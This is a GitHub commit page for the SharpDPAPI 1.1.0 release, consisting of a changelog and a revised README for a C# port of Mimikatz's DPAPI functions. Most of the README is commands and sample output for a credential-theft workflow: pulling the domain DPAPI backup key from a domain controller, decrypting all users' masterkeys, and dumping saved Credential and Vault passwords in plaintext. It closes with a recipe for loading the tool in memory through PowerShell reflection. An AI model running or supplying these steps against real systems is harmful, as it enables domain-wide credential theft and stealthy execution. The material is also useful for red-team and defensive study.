Skip to content

Commit c3a8a15

Browse files
committed
Version 1.1.0 release.
See CHANGELOG for details.
1 parent d4c8d39 commit c3a8a15

11 files changed

Lines changed: 2118 additions & 361 deletions

File tree

CHANGELOG.md

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
# Changelog
2+
All notable changes to this project will be documented in this file.
3+
4+
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
5+
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
6+
7+
8+
## [1.1.0] - 2019-03-14
9+
10+
### Added
11+
* **masterkeys** action
12+
* decrypts currently reachable master keys (current users or all if elevated) and attempts to decrypt them using a passed {GUI}:SHA1 masterkey lookup table, or a /pvk base64 blob representation of the domain DPAPI backup key
13+
* **credentials** action
14+
* decrypts currently reachable Credential files (current users or all if elevated) and attempts to decrypt them using a passed {GUI}:SHA1 masterkey lookup table, or a /pvk base64 blob representation of the domain DPAPI backup key
15+
* **vaults** action
16+
* decrypts currently reachable Vault files (current users or all if elevated) and attempts to decrypt them using a passed {GUI}:SHA1 masterkey lookup table, or a /pvk base64 blob representation of the domain DPAPI backup key
17+
* **triage** action
18+
* performs all triage actions (currently vault and credential)
19+
* CHANGELOG
20+
21+
### Changed
22+
* modified the argument formats for the **backupkey** command
23+
* retructured files so code isn't in a single file
24+
* revamped README
25+
26+
27+
## [1.0.0] - 2018-08-22
28+
29+
* Initial release

README.md

Lines changed: 311 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -2,43 +2,337 @@
22

33
----
44

5-
SharpDPAPI is a C# port of the DPAPI backup key retrieval logic (**lsadump::backupkeys**) from [@gentilkiwi](https://twitter.com/gentilkiwi)'s [Mimikatz](https://github.com/gentilkiwi/mimikatz/) project.
5+
SharpDPAPI is a C# port of some DPAPI functionality from [@gentilkiwi](https://twitter.com/gentilkiwi)'s [Mimikatz](https://github.com/gentilkiwi/mimikatz/) project.
66

7-
**I did not come up with this logic, it is simply a port from Mimikatz in order to better understand the process.**
8-
9-
You will need administrative rights on the domain controller you're attempting to retrieve the DPAPI backup key for.
7+
**I did not come up with this logic, it is simply a port from Mimikatz in order to better understand the process and operationalize it to fit our workflow.**
108

119
[@harmj0y](https://twitter.com/harmj0y) is the primary author of this port.
1210

1311
SharpDPAPI is licensed under the BSD 3-Clause license.
1412

15-
## Usage
13+
14+
## Table of Contents
15+
16+
- [SharpDPAPI](#sharpdpapi)
17+
* [Table of Contents](#table-of-contents)
18+
* [Command Line Usage](#command-line-usage)
19+
* [Commands](#commands)
20+
+ [backupkey](#backupkey)
21+
+ [masterkeys](#masterkeys)
22+
+ [credentials](#credentials)
23+
+ [vaults](#vaults)
24+
+ [triage](#triage)
25+
* [Compile Instructions](#compile-instructions)
26+
+ [Targeting other .NET versions](#targeting-other-net-versions)
27+
+ [Sidenote: Running SharpDPAPI Through PowerShell](#sidenote-running-sharpdpapi-through-powershell)
28+
29+
## Command Line Usage
30+
31+
C:\Temp>SharpDPAPI.exe
32+
33+
__ _ _ _ ___
34+
(_ |_ _. ._ ._ | \ |_) /\ |_) |
35+
__) | | (_| | |_) |_/ | /--\ | _|_
36+
|
37+
v1.1
38+
39+
40+
Triage all reachable masterkey files, use a domain backup key to decrypt all that are found
41+
42+
SharpDPAPI masterkeys </pvk:BASE64... | /pvk:key.pvk>
43+
44+
45+
Triage all reachable Credential files, Vaults, or both using a domain DPAPI backup key to decrypt masterkeys:
46+
47+
SharpDPAPI <credentials|vaults|triage> </pvk:BASE64... | /pvk:key.pvk>
48+
49+
50+
Triage all reachable Credential files or Vaults, or both optionally using the GUID masterkey mapping to decrypt any matches:
51+
52+
SharpDPAPI <credentials|vaults|triage> [GUID1:SHA1 GUID2:SHA1 ...]
53+
54+
55+
Triage a specific Credential file or folder, using GUID lookups or a domain backup key for decryption:
56+
57+
SharpDPAPI credentials /target:C:\FOLDER\ [GUID1:SHA1 GUID2:SHA1 ... | /pvk:BASE64... | /pvk:key.pvk]
58+
SharpDPAPI credentials /target:C:\FOLDER\FILE [GUID1:SHA1 GUID2:SHA1 ... | /pvk:BASE64... | /pvk:key.pvk]
59+
60+
61+
Triage a specific Vault folder, using GUID lookups or a domain backup key for decryption:
62+
63+
SharpDPAPI vaults /target:C:\FOLDER\ [GUID1:SHA1 GUID2:SHA1 ... | /pvk:BASE64... | /pvk:key.pvk]
64+
65+
66+
Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file:
67+
68+
SharpDPAPI backupkey [/server:primary.testlab.local] [/file:key.pvk]
69+
70+
71+
## Commands
72+
73+
### backupkey
74+
75+
The **backupkey** command will retrieve the domain DPAPI backup key from a domain controller using the **LsaRetrievePrivateData** API approach [from Mimikatz](https://github.com/gentilkiwi/mimikatz/blob/2fd09bbef0754317cd97c01dbbf49698ae23d9d2/mimikatz/modules/kuhl_m_lsadump.c#L1882-L1927). This private key can then be used to decrypt master key blobs for any user on the domain. And even better, the key never changes ;)
76+
77+
Domain admin (or equivalent) rights are needed to retrieve the key from a remote domain controller.
78+
79+
This base64 key blob can be decoded to a binary .pvk file that can then be used with Mimikatz' **dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk** module, or used in blob form with the **masterkeys**, **credentials**, or **vault** SharpDPAPI commands.
80+
81+
By default, SharpDPAPI will try to determine the current domain controller via the **DsGetDcName** API call. A server can be specified with `/server:COMPUTER.domain.com`. If you want the key saved to disk instead of output as a base64 blob, use `/file:key.pvk`.
1682

1783
Retrieve the DPAPI backup key for the current DC:
1884

1985
C:\Temp>SharpDPAPI.exe backupkey
2086

21-
[*] Current domain controller : PRIMARY.testlab.local
22-
[*] Preferred backupkey Guid : 32d021e7-ab1c-4877-af06-80473ca3e4d8
23-
[*] Full preferred backupKeyName : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
24-
[*] Key :
25-
HvG1sAAAAAABAAAAAAAAAAAA...
87+
__ _ _ _ ___
88+
(_ |_ _. ._ ._ | \ |_) /\ |_) |
89+
__) | | (_| | |_) |_/ | /--\ | _|_
90+
|
91+
v1.1
92+
93+
94+
[*] Action: Retrieve domain DPAPI backup key
95+
2696

27-
This base64 key blob can be decoded to a binary .pvk file that can then be used with Mimikatz' **dpapi::masterkey /in:<MASTERKEY> /pvk:backupkey.pvk** module
97+
[*] Using current domain controller : PRIMARY.testlab.local
98+
[*] Preferred backupkey Guid : 32d021e7-ab1c-4877-af06-80473ca3e4d8
99+
[*] Full preferred backupKeyName : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
100+
[*] Key :
101+
HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(snip)...
28102

29103

30104
Retrieve the DPAPI backup key for the specified DC, output to a file:
31105

32-
C:\Temp>SharpDPAPI.exe backupkey server=primary.testlab.local file=backupkey.pvk
106+
C:\Temp>SharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk
107+
108+
__ _ _ _ ___
109+
(_ |_ _. ._ ._ | \ |_) /\ |_) |
110+
__) | | (_| | |_) |_/ | /--\ | _|_
111+
|
112+
v1.1
113+
114+
115+
[*] Action: Retrieve domain DPAPI backup key
116+
117+
118+
[*] Using server : primary.testlab.local
119+
[*] Preferred backupkey Guid : 32d021e7-ab1c-4877-af06-80473ca3e4d8
120+
[*] Full preferred backupKeyName : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
121+
[*] Backup key written to : key.pvk
122+
123+
124+
### masterkeys
125+
126+
The **masterkeys** command will search for any readable masterkey files and decrypt them using a supplied domain DPAPI backup key to decrypt the masterkeys. It will return a set of masterkey {GUID}:SHA1 mappings.
127+
128+
The domain backup key can be in base64 form (`/pvk:BASE64...`) or file form (`/pvk:key.pvk`).
129+
130+
C:\Temp>SharpDPAPI.exe masterkeys /pvk:key.pvk
131+
132+
__ _ _ _ ___
133+
(_ |_ _. ._ ._ | \ |_) /\ |_) |
134+
__) | | (_| | |_) |_/ | /--\ | _|_
135+
|
136+
v1.1
137+
138+
139+
[*] Action: Triage Masterkey Files
140+
141+
[*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
142+
[*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
143+
...(snip)...
144+
145+
[*] Master key cache:
146+
147+
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316...(snip)...
148+
...(snip)...
149+
150+
151+
### credentials
152+
153+
The **credentials** command will search for Credential files and decrypt them with either a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) or a {GUID}:SHA1 DPAPI lookup table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.
154+
155+
A specific credential file (or folder of credentials) can be specified with `/target:FILE` or `/target:C:\Folder\`.
156+
157+
Using domain DPAPI GUID mappings:
158+
159+
C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
160+
161+
__ _ _ _ ___
162+
(_ |_ _. ._ ._ | \ |_) /\ |_) |
163+
__) | | (_| | |_) |_/ | /--\ | _|_
164+
|
165+
v1.1
166+
167+
168+
[*] Action: DPAPI Credential Triage
33169

34-
[*] Using server : primary.testlab.local
35-
[*] Preferred backupkey Guid : 32d021e7-ab1c-4877-af06-80473ca3e4d8
36-
[*] Full preferred backupKeyName : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
37-
[*] Backup key written to : backupkey.pvk
170+
[*] Triaging Credentials for ALL users
171+
172+
173+
Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\
174+
175+
CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB
176+
177+
guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
178+
size : 436
179+
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
180+
algHash/algCrypt : 32772/26115
181+
description : Local Credential Data
182+
183+
LastWritten : 1/22/2019 2:44:40 AM
184+
TargetName : Domain:target=TERMSRV/10.4.10.101
185+
TargetAlias :
186+
Comment :
187+
UserName : DOMAIN\user
188+
Credential : Password!
189+
190+
...(snip)...
191+
192+
193+
Using a domain DPAPI backup key:
194+
195+
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
196+
197+
__ _ _ _ ___
198+
(_ |_ _. ._ ._ | \ |_) /\ |_) |
199+
__) | | (_| | |_) |_/ | /--\ | _|_
200+
|
201+
v1.1
202+
203+
204+
[*] Action: DPAPI Credential Triage
205+
206+
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
207+
208+
[*] Triaging Credentials for current user
209+
210+
211+
Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\
212+
213+
CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB
214+
215+
guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
216+
size : 436
217+
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
218+
algHash/algCrypt : 32772/26115
219+
description : Local Credential Data
220+
221+
LastWritten : 1/22/2019 2:44:40 AM
222+
TargetName : Domain:target=TERMSRV/10.4.10.101
223+
TargetAlias :
224+
Comment :
225+
UserName : DOMAIN\user
226+
Credential : Password!
227+
228+
...(snip)...
229+
230+
231+
### vaults
232+
233+
The **vaults** command will search for Vault files and decrypt them with either a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) or a {GUID}:SHA1 DPAPI lookup table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.
234+
235+
The Policy.vpol folder in the Vault folder is decrypted with any supplied DPAPI keys to retrieve the associated AES decryption keys, which are then used to decrypt any associated .vcrd files.
236+
237+
A specific vault folder can be specified with `/target:C:\Folder\`.
238+
239+
Using domain DPAPI GUID mappings:
240+
241+
C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
242+
__ _ _ _ ___
243+
(_ |_ _. ._ ._ | \ |_) /\ |_) |
244+
__) | | (_| | |_) |_/ | /--\ | _|_
245+
|
246+
v1.1
247+
248+
249+
[*] Action: DPAPI Vault Triage
250+
251+
[*] Triaging Vaults for ALL users
252+
253+
254+
[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
255+
256+
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
257+
Name : Web Credentials
258+
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
259+
size : 240
260+
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
261+
algHash/algCrypt : 32772/26115
262+
description :
263+
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
264+
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
265+
266+
LastWritten : 10/12/2018 12:10:42 PM
267+
FriendlyName : Internet Explorer
268+
Identity : admin
269+
Resource : https://10.0.0.1/
270+
Authenticator : Password!
271+
272+
...(snip)...
273+
274+
275+
Using a domain DPAPI backup key:
276+
277+
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
278+
__ _ _ _ ___
279+
(_ |_ _. ._ ._ | \ |_) /\ |_) |
280+
__) | | (_| | |_) |_/ | /--\ | _|_
281+
|
282+
v1.1
283+
284+
285+
[*] Action: DPAPI Vault Triage
286+
287+
[*] Triaging Vaults for ALL users
288+
289+
290+
[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
291+
292+
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
293+
Name : Web Credentials
294+
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
295+
size : 240
296+
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
297+
algHash/algCrypt : 32772/26115
298+
description :
299+
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
300+
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
301+
302+
LastWritten : 10/12/2018 12:10:42 PM
303+
FriendlyName : Internet Explorer
304+
Identity : admin
305+
Resource : https://10.0.0.1/
306+
Authenticator : Password!
307+
308+
...(snip)...
309+
310+
311+
### triage
312+
313+
The **triage** command runs the [credentials](#credentials) and [vaults](#vaults) triage commands simultaneously.
38314

39315

40316
## Compile Instructions
41317

42318
We are not planning on releasing binaries for SharpDPAPI, so you will have to compile yourself :)
43319

44-
SharpDPAPI has been built against .NET 3.5 and is compatible with [Visual Studio 2015 Community Edition](https://go.microsoft.com/fwlink/?LinkId=532606&clcid=0x409). Simply open up the project .sln, choose "release", and build.
320+
SharpDPAPI has been built against .NET 3.5 and is compatible with [Visual Studio 2015 Community Edition](https://go.microsoft.com/fwlink/?LinkId=532606&clcid=0x409). Simply open up the project .sln, choose "Release", and build.
321+
322+
### Targeting other .NET versions
323+
324+
SharpDPAPI's default build configuration is for .NET 3.5, which will fail on systems without that version installed. To target SharpDPAPI for .NET 4 or 4.5, open the .sln solution, go to **Project** -> **SharpDPAPI Properties** and change the "Target framework" to another version.
325+
326+
### Sidenote: Running SharpDPAPI Through PowerShell
327+
328+
If you want to run SharpDPAPI in-memory through a PowerShell wrapper, first compile the SharpDPAPI and base64-encode the resulting assembly:
329+
330+
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\SharpDPAPI.exe")) | Out-File -Encoding ASCII C:\Temp\SharpDPAPI.txt
331+
332+
SharpDPAPI can then be loaded in a PowerShell script with the following (where "aa..." is replaced with the base64-encoded SharpDPAPI assembly string):
333+
334+
$SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
335+
336+
The Main() method and any arguments can then be invoked as follows:
337+
338+
[SharpDPAPI.Program]::Main("dump /luid:3050142".Split())

0 commit comments

Comments
 (0)